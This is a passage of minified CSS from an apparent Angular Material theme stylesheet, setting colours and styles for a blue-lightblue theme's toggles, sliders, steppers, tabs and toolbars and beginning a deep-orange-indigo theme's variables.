.mat-ripple-element{background-color:#0288d1}.blue-lightblue-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#1976d2}.blue-lightblue-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#1976d28a}.blue-lightblue-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#1976d2}.blue-lightblue-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.blue-lightblue-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.blue-lightblue-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.blue-lightblue-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#000}.blue-lightblue-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#fafafa}.blue-lightblue-theme .mat-slide-toggle-bar{background-color:#00000061}.blue-lightblue-theme .mat-slider-track-background{background-color:#00000042}.blue-lightblue-theme .mat-slider.mat-primary .mat-slider-track-fill,.blue-lightblue-theme .mat-slider.mat-primary .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#1976d2}.blue-lightblue-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.blue-lightblue-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#1976d233}.blue-lightblue-theme .mat-slider.mat-accent .mat-slider-track-fill,.blue-lightblue-theme .mat-slider.mat-accent .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#0288d1}.blue-lightblue-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#fff}.blue-lightblue-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#0288d133}.blue-lightblue-theme .mat-slider.mat-warn .mat-slider-track-fill,.blue-lightblue-theme .mat-slider.mat-warn .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.blue-lightblue-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.blue-lightblue-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.blue-lightblue-theme .mat-slider:hover .mat-slider-track-background,.blue-lightblue-theme .mat-slider.cdk-focused .mat-slider-track-background{background-color:#00000061}.blue-lightblue-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.blue-lightblue-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.blue-lightblue-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#00000042}.blue-lightblue-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#0000001f}.blue-lightblue-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#000000de}.blue-lightblue-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#00000042}.blue-lightblue-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#00000042;background-color:transparent}.blue-lightblue-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#00000061}.blue-lightblue-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#00000042}.blue-lightblue-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#000000b3}.blue-lightblue-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.blue-lightblue-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.blue-lightblue-theme .mat-step-header.cdk-keyboard-focused,.blue-lightblue-theme .mat-step-header.cdk-program-focused,.blue-lightblue-theme .mat-step-header:hover:not([aria-disabled]),.blue-lightblue-theme .mat-step-header:hover[aria-disabled=false]{background-color:#0000000a}.blue-lightblue-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.blue-lightblue-theme .mat-step-header:hover{background:none}}.blue-lightblue-theme .mat-step-header .mat-step-label,.blue-lightblue-theme .mat-step-header .mat-step-optional{color:#0000008a}.blue-lightblue-theme .mat-step-header .mat-step-icon{background-color:#0000008a;color:#fff}.blue-lightblue-theme .mat-step-header .mat-step-icon-selected,.blue-lightblue-theme .mat-step-header .mat-step-icon-state-done,.blue-lightblue-theme .mat-step-header .mat-step-icon-state-edit{background-color:#1976d2;color:#fff}.blue-lightblue-theme .mat-step-header.mat-accent .mat-step-icon{color:#fff}.blue-lightblue-theme .mat-step-header.mat-accent .mat-step-icon-selected,.blue-lightblue-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.blue-lightblue-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#0288d1;color:#fff}.blue-lightblue-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.blue-lightblue-theme .mat-step-header.mat-warn .mat-step-icon-selected,.blue-lightblue-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.blue-lightblue-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#f44336;color:#fff}.blue-lightblue-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.blue-lightblue-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#000000de}.blue-lightblue-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.blue-lightblue-theme .mat-stepper-horizontal,.blue-lightblue-theme .mat-stepper-vertical{background-color:#fff}.blue-lightblue-theme .mat-stepper-vertical-line:before{border-left-color:#0000001f}.blue-lightblue-theme .mat-horizontal-stepper-header:before,.blue-lightblue-theme .mat-horizontal-stepper-header:after,.blue-lightblue-theme .mat-stepper-horizontal-line{border-top-color:#0000001f}.blue-lightblue-theme .mat-sort-header-arrow{color:#757575}.blue-lightblue-theme .mat-tab-nav-bar,.blue-lightblue-theme .mat-tab-header{border-bottom:1px solid rgba(0,0,0,.12)}.blue-lightblue-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.blue-lightblue-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(0,0,0,.12);border-bottom:none}.blue-lightblue-theme .mat-tab-label,.blue-lightblue-theme .mat-tab-link{color:#000000de}.blue-lightblue-theme .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-link.mat-tab-disabled{color:#00000061}.blue-lightblue-theme .mat-tab-header-pagination-chevron{border-color:#000000de}.blue-lightblue-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#00000061}.blue-lightblue-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.blue-lightblue-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.blue-lightblue-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#42a5f54d}.blue-lightblue-theme .mat-tab-group.mat-primary .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#1976d2}.blue-lightblue-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#039be54d}.blue-lightblue-theme .mat-tab-group.mat-accent .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#0288d1}.blue-lightblue-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.blue-lightblue-theme .mat-tab-group.mat-warn .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.blue-lightblue-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.blue-lightblue-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#42a5f54d}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#1976d2}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.blue-lightblue-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#039be54d}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#0288d1}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.blue-lightblue-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.blue-lightblue-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.blue-lightblue-theme .mat-toolbar{background:whitesmoke;color:#000000de}.blue-lightblue-theme .mat-toolbar.mat-primary{background:#1976d2;color:#fff}.blue-lightblue-theme .mat-toolbar.mat-accent{background:#0288d1;color:#fff}.blue-lightblue-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.blue-lightblue-theme .mat-toolbar .mat-form-field-underline,.blue-lightblue-theme .mat-toolbar .mat-form-field-ripple,.blue-lightblue-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.blue-lightblue-theme .mat-toolbar .mat-form-field-label,.blue-lightblue-theme .mat-toolbar .mat-focused .mat-form-field-label,.blue-lightblue-theme .mat-toolbar .mat-select-value,.blue-lightblue-theme .mat-toolbar .mat-select-arrow,.blue-lightblue-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.blue-lightblue-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.blue-lightblue-theme .mat-tooltip{background:rgba(97,97,97,.9)}.blue-lightblue-theme .mat-tree{background:white}.blue-lightblue-theme .mat-tree-node,.blue-lightblue-theme .mat-nested-tree-node{color:#000000de}.blue-lightblue-theme .mat-snack-bar-container{color:#ffffffb3;background:#323232;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.blue-lightblue-theme .mat-simple-snackbar-action{color:#0288d1}.blue-lightblue-theme a:link,.blue-lightblue-theme a:visited{color:#039be5;text-decoration:none}.blue-lightblue-theme a:hover,.blue-lightblue-theme a:focus,.blue-lightblue-theme a:active{text-decoration:underline}.blue-lightblue-theme a{outline:none}.blue-lightblue-theme .confirmation{color:#0288d1}.blue-lightblue-theme .ribbon:before{border:5px solid #0288d1}.blue-lightblue-theme .ribbon span{background-color:#0288d1}.blue-lightblue-theme .error{color:#f44336}.blue-lightblue-theme .ribbon-sold:before{border:5px solid #f44336}.blue-lightblue-theme .ribbon-sold span{background-color:#f44336}.blue-lightblue-theme .primary-notification{background-color:#1565c0}.blue-lightblue-theme .accent-notification{background-color:#0277bd}.blue-lightblue-theme .warn-notification{background-color:#d32f2f}.blue-lightblue-theme .img-thumbnail{background-color:#1976d20d;border:1px solid #1976d2;border-radius:3px;padding:3px}.blue-lightblue-theme .empty-star{stop-color:#1976d2}.blue-lightblue-theme .filled-star{stop-color:#0288d1}.blue-lightblue-theme .star-border{stroke:#0288d1}.blue-lightblue-theme .mat-snack-bar-container{background-color:#fff!important;color:#000000de!important}.blue-lightblue-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.blue-lightblue-theme .mat-snack-bar-container.confirmBar{color:#0288d1!important}.blue-lightblue-theme .google-button{background-color:#0277bd!important}.blue-lightblue-theme .deluxe-membership{background:linear-gradient(90deg,#1976d2 0%,white 100%)}.blue-lightblue-theme .overlay{background:rgba(21,101,192,.7)}.deeporange-indigo-theme{--theme-primary: #e64a19;--theme-primary-lighter: #e96035;--theme-primary-light: #eb6e47;--theme-primary-darker: #ca4116;--theme-primary-dark: #b83b14;--theme-primary-fade-10: rgba(230, 74, 25, .9);--theme-primary-fade-20: rgba(230, 74, 25, .8);--theme-primary-fade-30: rgba(230, 74, 25, .7);--theme-primary-fade-40: rgba(230, 74, 25, .6);--theme-primary-fade-50: rgba(230, 74, 25, .5);--theme-accent: #1a237e;--theme-accent-lighter: #1f2a97;--theme-accent-light: #232fa8;--theme-accent-darker: #151c65;--theme-accent-dark: #111754;--theme-accent-fade-10: rgba(26, 35, 126, .9);--theme-accent-fade-20: rgba(26, 35, 126, .8);--theme-accent-fade-30: rgba(26, 35, 126, .7);--theme-accent-fade-40: rgba(26, 35, 126, .6);--theme-accent-fade-50: rgba(26, 35, 126, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, 